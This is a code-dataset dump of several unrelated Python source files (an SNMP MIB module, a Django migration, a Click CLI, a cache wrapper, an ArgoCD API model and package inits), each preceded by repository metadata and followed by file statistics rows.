if mibBuilder.loadTexts: ipxSapIfTable.setStatus('mandatory')
ipxSapIfEntry = MibTableRow((1, 3, 6, 1, 4, 1, 33, 15, 5, 1, 1), ).setIndexNames((0, "XYPLEX-IPX-MIB", "ipxSapIfIndex"))
if mibBuilder.loadTexts: ipxSapIfEntry.setStatus('mandatory')
ipxSapIfIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 33, 15, 5, 1, 1, 1), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ipxSapIfIndex.setStatus('mandatory')
ipxIfSapBcst = MibTableColumn((1, 3, 6, 1, 4, 1, 33, 15, 5, 1, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("disabled", 1), ("enabled", 2))).clone('enabled')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: ipxIfSapBcst.setStatus('mandatory')
ipxIfSapBcstDiscardTimeout = MibTableColumn((1, 3, 6, 1, 4, 1, 33, 15, 5, 1, 1, 3), Integer32().clone(180)).setMaxAccess("readwrite")
if mibBuilder.loadTexts: ipxIfSapBcstDiscardTimeout.setStatus('mandatory')
ipxIfSapBcstTimer = MibTableColumn((1, 3, 6, 1, 4, 1, 33, 15, 5, 1, 1, 4), Integer32().clone(60)).setMaxAccess("readwrite")
if mibBuilder.loadTexts: ipxIfSapBcstTimer.setStatus('mandatory')
ipxIfSapIn = MibTableColumn((1, 3, 6, 1, 4, 1, 33, 15, 5, 1, 1, 5), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ipxIfSapIn.setStatus('mandatory')
ipxIfSapOut = MibTableColumn((1, 3, 6, 1, 4, 1, 33, 15, 5, 1, 1, 6), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ipxIfSapOut.setStatus('mandatory')
ipxIfSapAgedOut = MibTableColumn((1, 3, 6, 1, 4, 1, 33, 15, 5, 1, 1, 7), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ipxIfSapAgedOut.setStatus('mandatory')
ipxSapTable = MibTable((1, 3, 6, 1, 4, 1, 33, 15, 5, 2), )
if mibBuilder.loadTexts: ipxSapTable.setStatus('mandatory')
ipxSapEntry = MibTableRow((1, 3, 6, 1, 4, 1, 33, 15, 5, 2, 1), ).setIndexNames((0, "XYPLEX-IPX-MIB", "ipxSapName"), (0, "XYPLEX-IPX-MIB", "ipxSapType"))
if mibBuilder.loadTexts: ipxSapEntry.setStatus('mandatory')
ipxSapName = MibTableColumn((1, 3, 6, 1, 4, 1, 33, 15, 5, 2, 1, 1), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(48, 48)).setFixedLength(48)).setMaxAccess("readonly")
if mibBuilder.loadTexts: ipxSapName.setStatus('mandatory')
ipxSapNetwork = MibTableColumn((1, 3, 6, 1, 4, 1, 33, 15, 5, 2, 1, 2), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ipxSapNetwork.setStatus('mandatory')
ipxSapHost = MibTableColumn((1, 3, 6, 1, 4, 1, 33, 15, 5, 2, 1, 3), OctetString().subtype(subtypeSpec=ValueSizeConstraint(6, 6)).setFixedLength(6)).setMaxAccess("readonly")
if mibBuilder.loadTexts: ipxSapHost.setStatus('mandatory')
ipxSapSocket = MibTableColumn((1, 3, 6, 1, 4, 1, 33, 15, 5, 2, 1, 4), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ipxSapSocket.setStatus('mandatory')
ipxSapInterface = MibTableColumn((1, 3, 6, 1, 4, 1, 33, 15, 5, 2, 1, 5), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ipxSapInterface.setStatus('mandatory')
ipxSapType = MibTableColumn((1, 3, 6, 1, 4, 1, 33, 15, 5, 2, 1, 6), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11))).clone(namedValues=NamedValues(("user", 1), ("userGroup", 2), ("printQueue", 3), ("novellFileServer", 4), ("jobServer", 5), ("gateway1", 6), ("printServer", 7), ("archiveQueue", 8), ("archiveServer", 9), ("jobQueue", 10), ("administration", 11)))).setMaxAccess("readonly")
if mibBuilder.loadTexts: ipxSapType.setStatus('mandatory')
ipxSapAge = MibTableColumn((1, 3, 6, 1, 4, 1, 33, 15, 5, 2, 1, 7), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ipxSapAge.setStatus('mandatory')
mibBuilder.exportSymbols("XYPLEX-IPX-MIB", ipxNetbiosIfEntry=ipxNetbiosIfEntry, ipxRipIfIndex=ipxRipIfIndex, ipxRipRouter=ipxRipRouter, ipxIfRipBcstTimer=ipxIfRipBcstTimer, ipxRip=ipxRip, ipxIfRipOut=ipxIfRipOut, ipxSap=ipxSap, ipxIfSapAgedOut=ipxIfSapAgedOut, ipxIfRipIn=ipxIfRipIn, ipxIfIndex=ipxIfIndex, ipxRipNetwork=ipxRipNetwork, ipxRipInterface=ipxRipInterface, ipxSapName=ipxSapName, ipxIfFramesOut=ipxIfFramesOut, ipxSystem=ipxSystem, ipxSapIfEntry=ipxSapIfEntry, ipxIfSapBcstTimer=ipxIfSapBcstTimer, ipxSapEntry=ipxSapEntry, ipxSapIfTable=ipxSapIfTable, ipxRipAge=ipxRipAge, ipxIfSapBcstDiscardTimeout=ipxIfSapBcstDiscardTimeout, ipxRipEntry=ipxRipEntry, ipxSapHost=ipxSapHost, ipxIfRipAgedOut=ipxIfRipAgedOut, ipxIfTransitDelayActual=ipxIfTransitDelayActual, ipxIfTable=ipxIfTable, ipxRipTransTime=ipxRipTransTime, ipxNetbios=ipxNetbios, ipxIfSapIn=ipxIfSapIn, ipxSapAge=ipxSapAge, ipxSapInterface=ipxSapInterface, ipxIfState=ipxIfState, ipxRipIfTable=ipxRipIfTable, ipxIfFramesIn=ipxIfFramesIn, ipxNetbiosIfTable=ipxNetbiosIfTable, ipxIfSapBcst=ipxIfSapBcst, ipxNetbiosIfIndex=ipxNetbiosIfIndex, xyplex=xyplex, ipxIfNetbiosForwarding=ipxIfNetbiosForwarding, ipxSapSocket=ipxSapSocket, ipxIfRipBcst=ipxIfRipBcst, ipxRipTable=ipxRipTable, ipxIfErrors=ipxIfErrors, ipxRipIfEntry=ipxRipIfEntry, ipxRipHops=ipxRipHops, ipxIfRipBcstDiscardTimeout=ipxIfRipBcstDiscardTimeout, ipxNetbiosHopLimit=ipxNetbiosHopLimit, ipxSapIfIndex=ipxSapIfIndex, ipxIfFrameStyle=ipxIfFrameStyle, ipxSapNetwork=ipxSapNetwork, ipxRouting=ipxRouting, ipxIfTransitDelay=ipxIfTransitDelay, ipxSapTable=ipxSapTable, ipxIfSapOut=ipxIfSapOut, ipx=ipx, ipxIfNetbiosOut=ipxIfNetbiosOut, ipxSapType=ipxSapType, ipxIf=ipxIf, ipxIfNetwork=ipxIfNetwork, ipxIfEntry=ipxIfEntry, ipxIfNetbiosIn=ipxIfNetbiosIn)
| 110.076923 | 1,779 | 0.742977 | 1,738 | 14,310 | 6.117376 | 0.10702 | 0.013168 | 0.017212 | 0.02295 | 0.490688 | 0.452502 | 0.409989 | 0.389108 | 0.387133 | 0.280004 | 0 | 0.080264 | 0.089308 | 14,310 | 129 | 1,780 | 110.930233 | 0.735574 | 0.022502 | 0 | 0 | 0 | 0 | 0.123399 | 0.003148 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.04918 | 0 | 0.04918 | 0.008197 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
09d0d3e270cbee9f8f27af3e59b593f51b392b0c | 1,266 | py | Python | app/sova/migrations/0023_auto_20170514_2009.py | ivoras/sova | bb555e53a48f0e92874ab90e8651b314e2df0e8d | [
"BSD-2-Clause"
] | 1 | 2017-02-20T13:49:48.000Z | 2017-02-20T13:49:48.000Z | app/sova/migrations/0023_auto_20170514_2009.py | ivoras/sova | bb555e53a48f0e92874ab90e8651b314e2df0e8d | [
"BSD-2-Clause"
] | null | null | null | app/sova/migrations/0023_auto_20170514_2009.py | ivoras/sova | bb555e53a48f0e92874ab90e8651b314e2df0e8d | [
"BSD-2-Clause"
] | null | null | null | # -*- coding: utf-8 -*-
# Generated by Django 1.10.5 on 2017-05-14 18:09
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('sova', '0022_event_max_people'),
]
operations = [
migrations.RenameField(
model_name='participation',
old_name='grade',
new_name='poll_grade',
),
migrations.RenameField(
model_name='participation',
old_name='note',
new_name='poll_note',
),
migrations.AddField(
model_name='participation',
name='poll_best',
field=models.TextField(blank=True, null=True),
),
migrations.AddField(
model_name='participation',
name='poll_change',
field=models.TextField(blank=True, null=True),
),
migrations.AddField(
model_name='participation',
name='poll_futureorg',
field=models.BooleanField(default=False),
),
migrations.AddField(
model_name='participation',
name='poll_worst',
field=models.TextField(blank=True, null=True),
),
]
| 27.521739 | 58 | 0.563191 | 119 | 1,266 | 5.789916 | 0.453782 | 0.078374 | 0.191582 | 0.156749 | 0.584906 | 0.584906 | 0.584906 | 0.246734 | 0.246734 | 0.246734 | 0 | 0.024476 | 0.322275 | 1,266 | 45 | 59 | 28.133333 | 0.778555 | 0.053712 | 0 | 0.552632 | 1 | 0 | 0.146444 | 0.017573 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.052632 | 0 | 0.131579 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
09d5095d14dd6daf7656bb197fcc0f7f867908b6 | 428 | py | Python | app/health/views.py | devdazed/django-docker-template | 520968ac5cd54070885de41f0e725c310f1cf380 | [
"MIT"
] | null | null | null | app/health/views.py | devdazed/django-docker-template | 520968ac5cd54070885de41f0e725c310f1cf380 | [
"MIT"
] | null | null | null | app/health/views.py | devdazed/django-docker-template | 520968ac5cd54070885de41f0e725c310f1cf380 | [
"MIT"
] | null | null | null | from rest_framework import viewsets, permissions, status
from rest_framework.response import Response
class HealthViewSet(viewsets.ViewSet):
# uncomment this to make the endpoint require authentication
# permission_classes = [permissions.IsAuthenticated]
def list(self, request, *args, **kwargs):
"""Displays "healthy"
"""
return Response({'health': 'healthy'}, status=status.HTTP_200_OK)
| 32.923077 | 73 | 0.724299 | 46 | 428 | 6.630435 | 0.76087 | 0.052459 | 0.111475 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.008523 | 0.17757 | 428 | 12 | 74 | 35.666667 | 0.857955 | 0.32243 | 0 | 0 | 0 | 0 | 0.045936 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.4 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
09ffb7bc2d6821be07435a6d07266fa7350f04a6 | 1,638 | py | Python | cortex/cli/cli.py | chib0/asd-winter2019 | c7d95305b1e8b99013fd40da1e7ebe01c2d0102a | [
"Apache-2.0"
] | null | null | null | cortex/cli/cli.py | chib0/asd-winter2019 | c7d95305b1e8b99013fd40da1e7ebe01c2d0102a | [
"Apache-2.0"
] | 4 | 2021-02-02T22:38:53.000Z | 2022-01-13T02:32:33.000Z | cortex/cli/cli.py | chib0/asd-winter2019 | c7d95305b1e8b99013fd40da1e7ebe01c2d0102a | [
"Apache-2.0"
] | null | null | null | import click
from . import get_consumer
@click.group()
@click.option("-h", "--host", default="localhost")
@click.option("-p", "--port", default="8000", type=int)
@click.pass_context
def cli(ctx, host, port):
ctx.ensure_object(dict)
#we're setting ctx.obj to match the signature of the api_consumer kwarg options for host, port, etc.
ctx.obj['consumer'] = get_consumer(host, port)
@cli.command()
@click.pass_context
def get_users(ctx):
click.echo(ctx.obj['consumer'].get_users())
@cli.command()
@click.argument('user_id')
@click.pass_context
def get_user(ctx, user_id):
click.echo(ctx.obj['consumer'].get_user(user_id))
@cli.command()
@click.argument('user_id')
@click.pass_context
def get_snapshots(ctx, user_id):
click.echo(ctx.obj['consumer'].get_snapshots(user_id))
@cli.command()
@click.argument('user_id')
@click.argument('snapshot_id_or_timestamp')
@click.pass_context
def get_snapshot(ctx, user_id, snapshot_id_or_timestamp):
click.echo(ctx.obj['consumer'].get_snapshot(user_id, snapshot_id_or_timestamp))
@cli.command()
@click.argument('user_id')
@click.argument('snapshot_id_or_timestamp')
@click.argument('result')
@click.pass_context
def get_result(ctx, user_id, snapshot_id_or_timestamp, result):
click.echo(ctx.obj['consumer'].get_result( user_id, snapshot_id_or_timestamp, result))
@cli.command()
@click.argument('user_id')
@click.argument('snapshot_id_or_timestamp')
@click.argument('result')
@click.pass_context
def get_result_data(ctx, user_id, snapshot_id_or_timestamp, result):
click.echo(ctx.obj['consumer'].get_result_data(user_id, snapshot_id_or_timestamp, result))
| 27.762712 | 104 | 0.752747 | 250 | 1,638 | 4.664 | 0.2 | 0.077187 | 0.092624 | 0.162093 | 0.704974 | 0.671527 | 0.603774 | 0.521441 | 0.521441 | 0.451115 | 0 | 0.002681 | 0.089133 | 1,638 | 58 | 105 | 28.241379 | 0.77882 | 0.06044 | 0 | 0.534884 | 0 | 0 | 0.132726 | 0.046845 | 0 | 0 | 0 | 0 | 0 | 1 | 0.162791 | false | 0.162791 | 0.046512 | 0 | 0.209302 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
61cafdfd0355462da83b4c3492db79638e23b1a4 | 2,899 | py | Python | lazycache/__init__.py | apnarm/django-lazycache | a68f782ff989fadf30fd3ecf0dad0af799b0341b | [
"MIT"
] | null | null | null | lazycache/__init__.py | apnarm/django-lazycache | a68f782ff989fadf30fd3ecf0dad0af799b0341b | [
"MIT"
] | null | null | null | lazycache/__init__.py | apnarm/django-lazycache | a68f782ff989fadf30fd3ecf0dad0af799b0341b | [
"MIT"
] | null | null | null | class Missed(object):
pass
class Null:
pass
class RaiseKeyError:
pass
class LazyCache(object):
"""Wraps a Django cache object to provide more features."""
missed = Missed()
def __init__(self, cache, default_timeout=None):
self.cache = cache
self.default_timeout = default_timeout
def __getattr__(self, name):
return getattr(self, self.cache, name)
def __getitem__(self, key):
return self.get(key, default=RaiseKeyError)
def __delitem__(self, key):
self.delete(key)
def __setitem__(self, key, value):
self.set(key, value)
def _prepare_value(self, value):
if value is None:
value = Null
return value
def _restore_value(self, key, value):
if value is Null:
return None
if value is RaiseKeyError:
raise KeyError('"%s" was not found in the cache.' % key)
return value
def add(self, key, value, timeout=0, **kwargs):
value = self._prepare_value(key, value, timeout)
return self.cache.add(key, value, timeout=timeout, **kwargs)
def get(self, key, default=None, **kwargs):
value = self.cache.get(key, default=default, **kwargs)
value = self._restore_value(key, value)
return value
def get_many(self, keys, **kwargs):
data = self.cache.get_many(keys, **kwargs)
restored_data = {}
for key, value in data.items():
value = self._restore_value(key, value)
restored_data[key] = value
return restored_data
def get_or_miss(self, key, miss=False):
"""
Returns the cached value, or the "missed" object if it was not found
in the cache. Passing in True for the second argument will make it
bypass the cache and always return the "missed" object.
Example usage:
def get_value(refresh_cache=False):
key = 'some.key.123'
value = cache.get_or_miss(key, refresh_cache)
if value is cache.missed:
value = generate_new_value()
cache.set(key, value)
return value
"""
return miss and self.missed or self.get(key, default=self.missed)
def set(self, key, value, timeout=None, **kwargs):
if timeout is None:
timeout = self.default_timeout
value = self._prepare_value(key, value, timeout)
return self.cache.set(key, value, timeout=timeout, **kwargs)
def set_many(self, data, timeout=None, **kwargs):
if timeout is None:
timeout = self.default_timeout
prepared_data = {}
for key, value in data.items():
value = self._prepare_value(key, value, timeout)
prepared_data[key] = value
self.cache.set_many(prepared_data, timeout=timeout, **kwargs)
| 29.886598 | 76 | 0.603656 | 363 | 2,899 | 4.661157 | 0.209366 | 0.080378 | 0.062057 | 0.037234 | 0.275414 | 0.275414 | 0.184988 | 0.169031 | 0.169031 | 0.12766 | 0 | 0.001969 | 0.299069 | 2,899 | 96 | 77 | 30.197917 | 0.830709 | 0.177647 | 0 | 0.293103 | 0 | 0 | 0.014072 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.224138 | false | 0.051724 | 0 | 0.034483 | 0.482759 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
61d2f638aa50320f231e9e1a598837c3ada0edff | 2,461 | py | Python | qmeq/__init__.py | M-Josefsson/qmeq | f4f08864fc778de7c14b198c0ffbaafe33ce18f6 | [
"BSD-2-Clause"
] | 1 | 2021-06-24T13:59:01.000Z | 2021-06-24T13:59:01.000Z | qmeq/__init__.py | M-Josefsson/qmeq | f4f08864fc778de7c14b198c0ffbaafe33ce18f6 | [
"BSD-2-Clause"
] | null | null | null | qmeq/__init__.py | M-Josefsson/qmeq | f4f08864fc778de7c14b198c0ffbaafe33ce18f6 | [
"BSD-2-Clause"
] | null | null | null | """
QmeQ: Quantum master equation for Quantum dot transport calculations
====================================================================
QmeQ is an open-source Python package for transport calculations through
quantum dot devices. The so-called Anderson-type models are used to describe
the quantum dot device, where quantum dots are coupled to the leads by
tunneling. QmeQ can calculate the stationary state particle and energy currents
using various approximate density matrix approaches. As for now we have
implemented the following first-order methods
* Pauli (classical) master equation
* Lindblad approach
* Redfield approach
* First order von Neumann (1vN) approach
which can describe the effect of Coulomb blockade. QmeQ also has one
second-order method
* Second order von Neumann (2vN) approach
which can additionally address cotunneling, pair tunneling, and
broadening effects.
Physics disclaimer
------------------
All the methods in QmeQ are approximate so depending on parameter regime they
can fail, and a good knowledge of the method is required whether to trust the
result or not. For example, Redfield, 1vN, and 2vN approaches can violate
positivity of the reduced density matrix and lead to currents flowing against
the bias. We still think it is important to have a package where a user can
duplicate existing calculations, check applicability of different methods, or
simply discover new kind of physics using different approximate master equations.
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from .aprclass import Approach
from .aprclass import ApproachElPh
from .aprclass import ApproachBase2vN
from .builder.builder import Builder
from .builder.builder_base import BuilderBase
from .builder.builder_base import BuilderManyBody
from .builder.builder_base import ModelParameters
from .builder.builder_elph import BuilderElPh
from .builder.builder_elph import BuilderManyBodyElPh
from .builder.funcprop import FunctionProperties
from .indexing import StateIndexing
from .indexing import StateIndexingPauli
from .indexing import StateIndexingDM
from .indexing import StateIndexingDMc
from .leadstun import LeadsTunneling
from .baths import PhononBaths
from .qdot import QuantumDot
# Legacy class names
from .builder.builder_base import BuilderManyBody as Builder_many_body
from .builder.builder_elph import BuilderElPh as Builder_elph
__version__ = '1.1'
| 38.453125 | 81 | 0.803738 | 328 | 2,461 | 5.945122 | 0.490854 | 0.050769 | 0.073846 | 0.045128 | 0.127179 | 0.084103 | 0 | 0 | 0 | 0 | 0 | 0.003276 | 0.131654 | 2,461 | 63 | 82 | 39.063492 | 0.909219 | 0.608696 | 0 | 0 | 0 | 0 | 0.003141 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.956522 | 0 | 0.956522 | 0.043478 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
61d798b44c0cb0403d0a76f6ce0c2ae4838181ea | 9,796 | py | Python | argocd_client/models/v1alpha1_resource_diff.py | thepabloaguilar/argocd-client | a6c4ff268a63ee6715f9f837b9225b798aa6bde2 | [
"BSD-3-Clause"
] | 1 | 2021-09-29T11:57:07.000Z | 2021-09-29T11:57:07.000Z | argocd_client/models/v1alpha1_resource_diff.py | thepabloaguilar/argocd-client | a6c4ff268a63ee6715f9f837b9225b798aa6bde2 | [
"BSD-3-Clause"
] | 1 | 2020-09-09T00:28:57.000Z | 2020-09-09T00:28:57.000Z | argocd_client/models/v1alpha1_resource_diff.py | thepabloaguilar/argocd-client | a6c4ff268a63ee6715f9f837b9225b798aa6bde2 | [
"BSD-3-Clause"
] | 2 | 2020-10-13T18:31:59.000Z | 2021-02-15T12:52:33.000Z | # coding: utf-8
"""
Consolidate Services
Description of all APIs # noqa: E501
The version of the OpenAPI document: version not set
Generated by: https://openapi-generator.tech
"""
import pprint
import re # noqa: F401
import six
from argocd_client.configuration import Configuration
class V1alpha1ResourceDiff(object):
"""NOTE: This class is auto generated by OpenAPI Generator.
Ref: https://openapi-generator.tech
Do not edit the class manually.
"""
"""
Attributes:
openapi_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute name
and the value is json key in definition.
"""
openapi_types = {
'diff': 'str',
'group': 'str',
'hook': 'bool',
'kind': 'str',
'live_state': 'str',
'name': 'str',
'namespace': 'str',
'normalized_live_state': 'str',
'predicted_live_state': 'str',
'target_state': 'str'
}
attribute_map = {
'diff': 'diff',
'group': 'group',
'hook': 'hook',
'kind': 'kind',
'live_state': 'liveState',
'name': 'name',
'namespace': 'namespace',
'normalized_live_state': 'normalizedLiveState',
'predicted_live_state': 'predictedLiveState',
'target_state': 'targetState'
}
def __init__(self, diff=None, group=None, hook=None, kind=None, live_state=None, name=None, namespace=None, normalized_live_state=None, predicted_live_state=None, target_state=None, local_vars_configuration=None): # noqa: E501
"""V1alpha1ResourceDiff - a model defined in OpenAPI""" # noqa: E501
if local_vars_configuration is None:
local_vars_configuration = Configuration()
self.local_vars_configuration = local_vars_configuration
self._diff = None
self._group = None
self._hook = None
self._kind = None
self._live_state = None
self._name = None
self._namespace = None
self._normalized_live_state = None
self._predicted_live_state = None
self._target_state = None
self.discriminator = None
if diff is not None:
self.diff = diff
if group is not None:
self.group = group
if hook is not None:
self.hook = hook
if kind is not None:
self.kind = kind
if live_state is not None:
self.live_state = live_state
if name is not None:
self.name = name
if namespace is not None:
self.namespace = namespace
if normalized_live_state is not None:
self.normalized_live_state = normalized_live_state
if predicted_live_state is not None:
self.predicted_live_state = predicted_live_state
if target_state is not None:
self.target_state = target_state
@property
def diff(self):
"""Gets the diff of this V1alpha1ResourceDiff. # noqa: E501
:return: The diff of this V1alpha1ResourceDiff. # noqa: E501
:rtype: str
"""
return self._diff
@diff.setter
def diff(self, diff):
"""Sets the diff of this V1alpha1ResourceDiff.
:param diff: The diff of this V1alpha1ResourceDiff. # noqa: E501
:type: str
"""
self._diff = diff
@property
def group(self):
"""Gets the group of this V1alpha1ResourceDiff. # noqa: E501
:return: The group of this V1alpha1ResourceDiff. # noqa: E501
:rtype: str
"""
return self._group
@group.setter
def group(self, group):
"""Sets the group of this V1alpha1ResourceDiff.
:param group: The group of this V1alpha1ResourceDiff. # noqa: E501
:type: str
"""
self._group = group
@property
def hook(self):
"""Gets the hook of this V1alpha1ResourceDiff. # noqa: E501
:return: The hook of this V1alpha1ResourceDiff. # noqa: E501
:rtype: bool
"""
return self._hook
@hook.setter
def hook(self, hook):
"""Sets the hook of this V1alpha1ResourceDiff.
:param hook: The hook of this V1alpha1ResourceDiff. # noqa: E501
:type: bool
"""
self._hook = hook
@property
def kind(self):
"""Gets the kind of this V1alpha1ResourceDiff. # noqa: E501
:return: The kind of this V1alpha1ResourceDiff. # noqa: E501
:rtype: str
"""
return self._kind
@kind.setter
def kind(self, kind):
"""Sets the kind of this V1alpha1ResourceDiff.
:param kind: The kind of this V1alpha1ResourceDiff. # noqa: E501
:type: str
"""
self._kind = kind
@property
def live_state(self):
"""Gets the live_state of this V1alpha1ResourceDiff. # noqa: E501
:return: The live_state of this V1alpha1ResourceDiff. # noqa: E501
:rtype: str
"""
return self._live_state
@live_state.setter
def live_state(self, live_state):
"""Sets the live_state of this V1alpha1ResourceDiff.
:param live_state: The live_state of this V1alpha1ResourceDiff. # noqa: E501
:type: str
"""
self._live_state = live_state
@property
def name(self):
"""Gets the name of this V1alpha1ResourceDiff. # noqa: E501
:return: The name of this V1alpha1ResourceDiff. # noqa: E501
:rtype: str
"""
return self._name
@name.setter
def name(self, name):
"""Sets the name of this V1alpha1ResourceDiff.
:param name: The name of this V1alpha1ResourceDiff. # noqa: E501
:type: str
"""
self._name = name
@property
def namespace(self):
"""Gets the namespace of this V1alpha1ResourceDiff. # noqa: E501
:return: The namespace of this V1alpha1ResourceDiff. # noqa: E501
:rtype: str
"""
return self._namespace
@namespace.setter
def namespace(self, namespace):
"""Sets the namespace of this V1alpha1ResourceDiff.
:param namespace: The namespace of this V1alpha1ResourceDiff. # noqa: E501
:type: str
"""
self._namespace = namespace
@property
def normalized_live_state(self):
"""Gets the normalized_live_state of this V1alpha1ResourceDiff. # noqa: E501
:return: The normalized_live_state of this V1alpha1ResourceDiff. # noqa: E501
:rtype: str
"""
return self._normalized_live_state
@normalized_live_state.setter
def normalized_live_state(self, normalized_live_state):
"""Sets the normalized_live_state of this V1alpha1ResourceDiff.
:param normalized_live_state: The normalized_live_state of this V1alpha1ResourceDiff. # noqa: E501
:type: str
"""
self._normalized_live_state = normalized_live_state
@property
def predicted_live_state(self):
"""Gets the predicted_live_state of this V1alpha1ResourceDiff. # noqa: E501
:return: The predicted_live_state of this V1alpha1ResourceDiff. # noqa: E501
:rtype: str
"""
return self._predicted_live_state
@predicted_live_state.setter
def predicted_live_state(self, predicted_live_state):
"""Sets the predicted_live_state of this V1alpha1ResourceDiff.
:param predicted_live_state: The predicted_live_state of this V1alpha1ResourceDiff. # noqa: E501
:type: str
"""
self._predicted_live_state = predicted_live_state
@property
def target_state(self):
"""Gets the target_state of this V1alpha1ResourceDiff. # noqa: E501
:return: The target_state of this V1alpha1ResourceDiff. # noqa: E501
:rtype: str
"""
return self._target_state
@target_state.setter
def target_state(self, target_state):
"""Sets the target_state of this V1alpha1ResourceDiff.
:param target_state: The target_state of this V1alpha1ResourceDiff. # noqa: E501
:type: str
"""
self._target_state = target_state
def to_dict(self):
"""Returns the model properties as a dict"""
result = {}
for attr, _ in six.iteritems(self.openapi_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(map(
lambda x: x.to_dict() if hasattr(x, "to_dict") else x,
value
))
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict") else item,
value.items()
))
else:
result[attr] = value
return result
def to_str(self):
"""Returns the string representation of the model"""
return pprint.pformat(self.to_dict())
def __repr__(self):
"""For `print` and `pprint`"""
return self.to_str()
def __eq__(self, other):
"""Returns true if both objects are equal"""
if not isinstance(other, V1alpha1ResourceDiff):
return False
return self.to_dict() == other.to_dict()
def __ne__(self, other):
"""Returns true if both objects are not equal"""
if not isinstance(other, V1alpha1ResourceDiff):
return True
return self.to_dict() != other.to_dict()
| 27.594366 | 231 | 0.600041 | 1,095 | 9,796 | 5.193607 | 0.112329 | 0.090206 | 0.182873 | 0.158256 | 0.528926 | 0.436258 | 0.408124 | 0.244065 | 0.178126 | 0.084051 | 0 | 0.028754 | 0.311249 | 9,796 | 354 | 232 | 27.672316 | 0.81414 | 0.348305 | 0 | 0.089744 | 1 | 0 | 0.059699 | 0.007715 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0 | 0.025641 | 0 | 0.320513 | 0.012821 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
61d8531e54c424a41c139d1436607fa245ee6f8b | 454 | py | Python | safe_grid_agents/common/agents/__init__.py | jvmancuso/safe-grid-agents | 40f8101d23ca7dfe5c93d0c6be2a43101f56ce1c | [
"Apache-2.0"
] | 21 | 2018-07-31T21:12:37.000Z | 2019-03-31T05:55:56.000Z | safe_grid_agents/common/agents/__init__.py | jvmncs/safe-grid-agents | 40f8101d23ca7dfe5c93d0c6be2a43101f56ce1c | [
"Apache-2.0"
] | 21 | 2018-09-28T21:21:18.000Z | 2019-06-02T22:00:35.000Z | safe_grid_agents/common/agents/__init__.py | jvmncs/safe-grid-agents | 40f8101d23ca7dfe5c93d0c6be2a43101f56ce1c | [
"Apache-2.0"
] | 4 | 2018-09-24T05:05:29.000Z | 2019-06-26T00:27:35.000Z | """Top-level agents import."""
from safe_grid_agents.common.agents.dummy import RandomAgent, SingleActionAgent
from safe_grid_agents.common.agents.value import TabularQAgent, DeepQAgent
